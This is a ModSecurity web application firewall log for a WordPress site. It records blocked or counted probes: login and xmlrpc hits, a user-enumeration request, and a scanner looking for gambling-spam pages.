[Tue Feb 24 21:04:45.859046 2026] [:error] [pid 34099:tid 34121] [client 172.245.102.7:33717] [client 172.245.102.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2h7fq5eqRvLKEQT43ZWgAAAFQ"]
[Tue Feb 24 21:04:45.860698 2026] [:error] [pid 34129:tid 34138] [client 37.140.223.17:33063] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ2h7RPv5q_W6sGTPvoDnQAAAIc"]
[Tue Feb 24 22:03:04.063685 2026] [:error] [pid 40456:tid 40503] [client 88.224.18.27:49301] [client 88.224.18.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.224.18.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ2vmOP0ojUS1IXv0AXEVAAAAZA"]
[Tue Feb 24 23:39:51.874013 2026] [:error] [pid 40456:tid 40495] [client 88.224.18.27:57056] [client 88.224.18.27] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZ3GR-P0ojUS1IXv0AXgKwAAAYg"]
[Tue Feb 24 23:41:21.807634 2026] [:error] [pid 40455:tid 40464] [client 88.224.18.27:50580] [client 88.224.18.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.224.18.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ3GoVw13ca9RV2qrBmWgAAAAUQ"]
[Tue Feb 24 23:42:33.089152 2026] [:error] [pid 37715:tid 37727] [client 88.224.18.27:50770] [client 88.224.18.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.224.18.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ3G6UIBAxg--xL5ughgVAAAAgo"]
[Tue Feb 24 23:43:32.708584 2026] [:error] [pid 40394:tid 40444] [client 88.224.18.27:50958] [client 88.224.18.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.224.18.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ3HJODlibHIQ-y0MaSLpgAAAJE"]
[Tue Feb 24 23:44:32.703620 2026] [:error] [pid 40394:tid 40427] [client 88.224.18.27:54239] [client 88.224.18.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.224.18.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ3HYODlibHIQ-y0MaSLvQAAAIA"]
[Tue Feb 24 23:45:31.769502 2026] [:error] [pid 40455:tid 40476] [client 88.224.18.27:54681] [client 88.224.18.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.224.18.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ3Hm1w13ca9RV2qrBmX0QAAAVA"]
[Wed Feb 25 01:03:45.644252 2026] [:error] [pid 18458:tid 18811] [client 51.68.32.135:38100] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/168%20slot.aspx"] [unique_id "aZ3Z8Quir-tBe4tUisl4cgAAApA"]
[Wed Feb 25 01:03:50.755350 2026] [:error] [pid 26872:tid 26879] [client 51.68.32.135:38116] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24th%20slot.aspx"] [unique_id "aZ3Z9nxLbzvRGuzwKjnMvgAAAEU"]
[Wed Feb 25 01:03:54.853046 2026] [:error] [pid 18458:tid 18806] [client 51.68.32.135:38120] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2xl%20slot.aspx"] [unique_id "aZ3Z-guir-tBe4tUisl4rQAAAow"]
[Wed Feb 25 01:04:02.450762 2026] [:error] [pid 18850:tid 18855] [client 51.68.32.135:36858] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "aZ3aAuDBmHucoAJRnqnoeAAAAAM"]
[Wed Feb 25 01:04:07.628261 2026] [:error] [pid 26872:tid 26875] [client 51.68.32.135:34578] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "aZ3aB3xLbzvRGuzwKjnM-QAAAEE"]
[Wed Feb 25 01:04:13.198458 2026] [:error] [pid 18850:tid 18857] [client 51.68.32.135:34580] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aZ3aDeDBmHucoAJRnqnogAAAAAU"]
[Wed Feb 25 01:04:25.707659 2026] [:error] [pid 18441:tid 18725] [client 51.68.32.135:36958] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "aZ3aGRYF1wpOnXIaHlOO-gAAANA"]
[Wed Feb 25 01:05:28.558917 2026] [:error] [pid 18441:tid 18709] [client 51.68.32.135:34968] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZ3aWBYF1wpOnXIaHlOPgQAAAME"]
[Wed Feb 25 01:05:32.994139 2026] [:error] [pid 26872:tid 26876] [client 51.68.32.135:56730] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZ3aXHxLbzvRGuzwKjnOhwAAAEI"]
[Wed Feb 25 01:05:36.827267 2026] [:error] [pid 26872:tid 26883] [client 51.68.32.135:58238] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZ3aYHxLbzvRGuzwKjnOnwAAAEk"]
[Wed Feb 25 01:05:39.136614 2026] [:error] [pid 26872:tid 26890] [client 51.68.32.135:58254] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZ3aY3xLbzvRGuzwKjnOrQAAAFA"]
[Wed Feb 25 01:05:42.124040 2026] [:error] [pid 18458:tid 18801] [client 51.68.32.135:58256] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZ3aZguir-tBe4tUisl54wAAAoc"]
[Wed Feb 25 01:05:45.632481 2026] [:error] [pid 26872:tid 26881] [client 51.68.32.135:60096] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZ3aaXxLbzvRGuzwKjnOzgAAAEc"]
[Wed Feb 25 01:05:49.198528 2026] [:error] [pid 26872:tid 26896] [client 51.68.32.135:60110] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZ3abXxLbzvRGuzwKjnO6gAAAFY"]
[Wed Feb 25 01:05:52.005508 2026] [:error] [pid 18441:tid 18732] [client 51.68.32.135:60116] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZ3acBYF1wpOnXIaHlOPtQAAANc"]
[Wed Feb 25 01:05:54.727854 2026] [:error] [pid 26872:tid 26897] [client 51.68.32.135:60128] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZ3acnxLbzvRGuzwKjnPEAAAAFc"]
[Wed Feb 25 01:05:58.484271 2026] [:error] [pid 26872:tid 26884] [client 51.68.32.135:32880] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZ3adnxLbzvRGuzwKjnPKAAAAEo"]
[Wed Feb 25 01:06:02.204006 2026] [:error] [pid 26872:tid 26890] [client 51.68.32.135:32890] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZ3aenxLbzvRGuzwKjnPPQAAAFA"]
[Wed Feb 25 01:06:05.931866 2026] [:error] [pid 18850:tid 18868] [client 51.68.32.135:41842] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZ3afeDBmHucoAJRnqnpigAAABA"]
[Wed Feb 25 01:06:09.429951 2026] [:error] [pid 18458:tid 18812] [client 51.68.32.135:41856] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZ3agQuir-tBe4tUisl6RAAAApE"]
[Wed Feb 25 01:06:12.790084 2026] [:error] [pid 18447:tid 18784] [client 51.68.32.135:41864] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZ3ahM-TpHVc8yBj5eaoBAAAAhU"]
[Wed Feb 25 01:06:15.542252 2026] [:error] [pid 18441:tid 18731] [client 51.68.32.135:46372] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZ3ahxYF1wpOnXIaHlOPyQAAANY"]
[Wed Feb 25 01:06:18.644904 2026] [:error] [pid 18441:tid 18732] [client 51.68.32.135:46376] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZ3aihYF1wpOnXIaHlOPzgAAANc"]
[Wed Feb 25 01:06:21.609556 2026] [:error] [pid 18441:tid 18715] [client 51.68.32.135:46384] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZ3ajRYF1wpOnXIaHlOP0gAAAMc"]
[Wed Feb 25 01:07:04.649528 2026] [:error] [pid 18441:tid 18732] [client 51.68.32.135:46394] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZ3auBYF1wpOnXIaHlOQEQAAANc"]
[Wed Feb 25 01:07:06.925009 2026] [:error] [pid 26872:tid 26888] [client 51.68.32.135:46282] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZ3aunxLbzvRGuzwKjnP7wAAAE4"]
[Wed Feb 25 01:07:09.094978 2026] [:error] [pid 18458:tid 18811] [client 51.68.32.135:46290] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZ3avQuir-tBe4tUisl60wAAApA"]
[Wed Feb 25 01:07:11.683649 2026] [:error] [pid 18458:tid 18798] [client 51.68.32.135:46302] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZ3avwuir-tBe4tUisl62AAAAoQ"]
[Wed Feb 25 01:07:14.149123 2026] [:error] [pid 18850:tid 18862] [client 51.68.32.135:46306] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZ3awuDBmHucoAJRnqnqZgAAAAo"]
[Wed Feb 25 01:07:16.407669 2026] [:error] [pid 18850:tid 18858] [client 51.68.32.135:50878] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZ3axODBmHucoAJRnqnqawAAAAY"]
[Wed Feb 25 01:07:18.575461 2026] [:error] [pid 18850:tid 18852] [client 51.68.32.135:50886] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZ3axuDBmHucoAJRnqnqcwAAAAA"]
[Wed Feb 25 01:07:20.725441 2026] [:error] [pid 26872:tid 26894] [client 51.68.32.135:50900] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZ3ayHxLbzvRGuzwKjnQJgAAAFQ"]
[Wed Feb 25 01:07:23.155428 2026] [:error] [pid 26872:tid 26898] [client 51.68.32.135:50910] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZ3ay3xLbzvRGuzwKjnQMgAAAFg"]
[Wed Feb 25 01:07:25.558328 2026] [:error] [pid 18850:tid 18872] [client 51.68.32.135:49110] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZ3azeDBmHucoAJRnqnqhwAAABQ"]
[Wed Feb 25 01:07:27.757042 2026] [:error] [pid 26872:tid 26876] [client 51.68.32.135:49124] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZ3az3xLbzvRGuzwKjnQRQAAAEI"]
[Wed Feb 25 01:07:30.678395 2026] [:error] [pid 18850:tid 18855] [client 51.68.32.135:49134] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZ3a0uDBmHucoAJRnqnqmQAAAAM"]
[Wed Feb 25 01:07:32.742339 2026] [:error] [pid 18850:tid 18867] [client 51.68.32.135:49138] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZ3a1ODBmHucoAJRnqnqogAAAA8"]
[Wed Feb 25 01:07:34.818166 2026] [:error] [pid 18441:tid 18709] [client 51.68.32.135:49140] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZ3a1hYF1wpOnXIaHlOQRwAAAME"]
[Wed Feb 25 01:07:37.129056 2026] [:error] [pid 18458:tid 18798] [client 51.68.32.135:58060] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZ3a2Quir-tBe4tUisl68gAAAoQ"]
[Wed Feb 25 01:07:39.177101 2026] [:error] [pid 26872:tid 26880] [client 51.68.32.135:58070] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZ3a23xLbzvRGuzwKjnQXQAAAEY"]
[Wed Feb 25 01:07:41.570995 2026] [:error] [pid 26872:tid 26890] [client 51.68.32.135:58080] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZ3a3XxLbzvRGuzwKjnQZgAAAFA"]
[Wed Feb 25 01:07:43.985084 2026] [:error] [pid 18441:tid 18711] [client 51.68.32.135:58096] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZ3a3xYF1wpOnXIaHlOQSgAAAMM"]
[Wed Feb 25 01:07:46.122075 2026] [:error] [pid 18441:tid 18733] [client 51.68.32.135:50266] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZ3a4hYF1wpOnXIaHlOQTAAAANg"]
[Wed Feb 25 01:07:48.448119 2026] [:error] [pid 26872:tid 26875] [client 51.68.32.135:50278] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZ3a5HxLbzvRGuzwKjnQdAAAAEE"]
[Wed Feb 25 01:07:50.588173 2026] [:error] [pid 26872:tid 26883] [client 51.68.32.135:50282] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZ3a5nxLbzvRGuzwKjnQeQAAAEk"]
[Wed Feb 25 01:07:52.741015 2026] [:error] [pid 18850:tid 18864] [client 51.68.32.135:50288] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZ3a6ODBmHucoAJRnqnqxAAAAAw"]
